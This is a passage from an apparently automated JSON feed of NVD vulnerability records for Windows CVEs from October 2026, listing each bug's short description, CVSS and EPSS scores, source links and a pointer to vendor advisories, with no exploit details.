exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:04.460Z","updatedAt":"2026-10-16T17:43:59.553Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85804","asOf":"2026-10-16T17:43:59.553Z"},"epss":{"probability":0.00337,"percentile":0.26899,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85804&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85804","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85804","type":"primary","publishedAt":"2026-10-13T19:21:04.460Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85804","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85804&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85804, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85803","cveId":"CVE-2026-85803","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Camera Frame Server Monitor allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Camera Frame Server Monitor allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Camera Frame Server Monitor allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:04.333Z","updatedAt":"2026-10-16T17:44:32.693Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85803","asOf":"2026-10-16T17:44:32.693Z"},"epss":{"probability":0.00247,"percentile":0.15801,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85803&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85803","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85803","type":"primary","publishedAt":"2026-10-13T19:21:04.333Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85803","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85803&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85803, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85802","cveId":"CVE-2026-85802","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:04.160Z","updatedAt":"2026-10-16T17:51:30.110Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85802","asOf":"2026-10-16T17:51:30.110Z"},"epss":{"probability":0.00262,"percentile":0.17838,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85802&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85802","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85802","type":"primary","publishedAt":"2026-10-13T19:21:04.160Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85802","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85802&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85802, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85800","cveId":"CVE-2026-85800","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:03.983Z","updatedAt":"2026-10-16T18:03:28.227Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85800","asOf":"2026-10-16T18:03:28.227Z"},"epss":{"probability":0.00312,"percentile":0.23819,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85800&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85800","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85800","type":"primary","publishedAt":"2026-10-13T19:21:03.983Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85800","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85800&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85800, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85799","cveId":"CVE-2026-85799","aliases":[],"kind":"vulnerability","title":"Use after free in Network Policy Server (NPS) allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Network Policy Server (NPS) allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Network Policy Server (NPS) allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:03.807Z","updatedAt":"2026-10-16T18:04:46.387Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85799","asOf":"2026-10-16T18:04:46.387Z"},"epss":{"probability":0.00659,"percentile":0.51251,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85799&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85799","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85799","type":"primary","publishedAt":"2026-10-13T19:21:03.807Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85799","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85799&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85799, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85798","cveId":"CVE-2026-85798","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Distributed File System (DFS) allows an authorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Windows Distributed File System (DFS) allows an authorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Windows Distributed File System (DFS) allows an authorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:03.630Z","updatedAt":"2026-10-16T18:06:04.450Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85798","asOf":"2026-10-16T18:06:04.450Z"},"epss":{"probability":0.00869,"percentile":0.58509,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85798&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85798","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85798","type":"primary","publishedAt":"2026-10-13T19:21:03.630Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85798","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85798&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85798, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85797","cveId":"CVE-2026-85797","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows GDI allows an unauthorized attacker to disclose information over a network.","summary":"Out-of-bounds read in Windows GDI allows an unauthorized attacker to disclose information over a network.","detail":"Out-of-bounds read in Windows GDI allows an unauthorized attacker to disclose information over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:03.447Z","updatedAt":"2026-10-16T18:07:39.827Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85797","asOf":"2026-10-16T18:07:39.827Z"},"epss":{"probability":0.00911,"percentile":0.59734,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85797&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85797","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85797","type":"primary","publishedAt":"2026-10-13T19:21:03.447Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85797","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85797&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85797, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85796","cveId":"CVE-2026-85796","aliases":[],"kind":"vulnerability","title":"Numeric truncation error in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Numeric truncation error in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Numeric truncation error in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:03.267Z","updatedAt":"2026-10-16T18:08:57.073Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85796","asOf":"2026-10-16T18:08:57.073Z"},"epss":{"probability":0.00312,"percentile":0.23819,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85796&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85796","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85796","type":"primary","publishedAt":"2026-10-13T19:21:03.267Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85796","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85796&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85796, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85795","cveId":"CVE-2026-85795","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Text Services Framework allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Text Services Framework allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Text Services Framework allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:03.087Z","updatedAt":"2026-10-16T18:10:05.550Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85795","asOf":"2026-10-16T18:10:05.550Z"},"epss":{"probability":0.00312,"percentile":0.23817,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85795&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85795","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85795","type":"primary","publishedAt":"2026-10-13T19:21:03.087Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85795","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85795&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85795, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85791","cveId":"CVE-2026-85791","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Encrypting File System (EFS) allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Encrypting File System (EFS) allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Encrypting File System (EFS) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:02.390Z","updatedAt":"2026-10-16T18:35:56.443Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85791","asOf":"2026-10-16T18:35:56.443Z"},"epss":{"probability":0.00281,"percentile":0.20409,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85791&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85791","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85791","type":"primary","publishedAt":"2026-10-13T19:21:02.390Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85791","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85791&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85791, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85377","cveId":"CVE-2026-85377","aliases":[],"kind":"vulnerability","title":"Access of resource using incompatible type ('type confusion') in Windows CD-ROM Driver allows an authorized attacker to elevate privileges locally.","summary":"Access of resource using incompatible type ('type confusion') in Windows CD-ROM Driver allows an authorized attacker to elevate privileges locally.","detail":"Access of resource using incompatible type ('type confusion') in Windows CD-ROM Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:01.923Z","updatedAt":"2026-10-16T18:44:32.010Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","Microsoft Office","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85377","asOf":"2026-10-16T18:44:32.010Z"},"epss":{"probability":0.00312,"percentile":0.2382,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85377&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85377","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85377","type":"primary","publishedAt":"2026-10-13T19:21:01.923Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85377","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85377&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85377, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85376","cveId":"CVE-2026-85376","aliases":[],"kind":"vulnerability","title":"Weak authentication in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.","summary":"Weak authentication in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.","detail":"Weak authentication in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:01.743Z","updatedAt":"2026-10-16T18:45:31.600Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85376","asOf":"2026-10-16T18:45:31.600Z"},"epss":{"probability":0.00279,"percentile":0.20123,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85376&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85376","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85376","type":"primary","publishedAt":"2026-10-13T19:21:01.743Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD 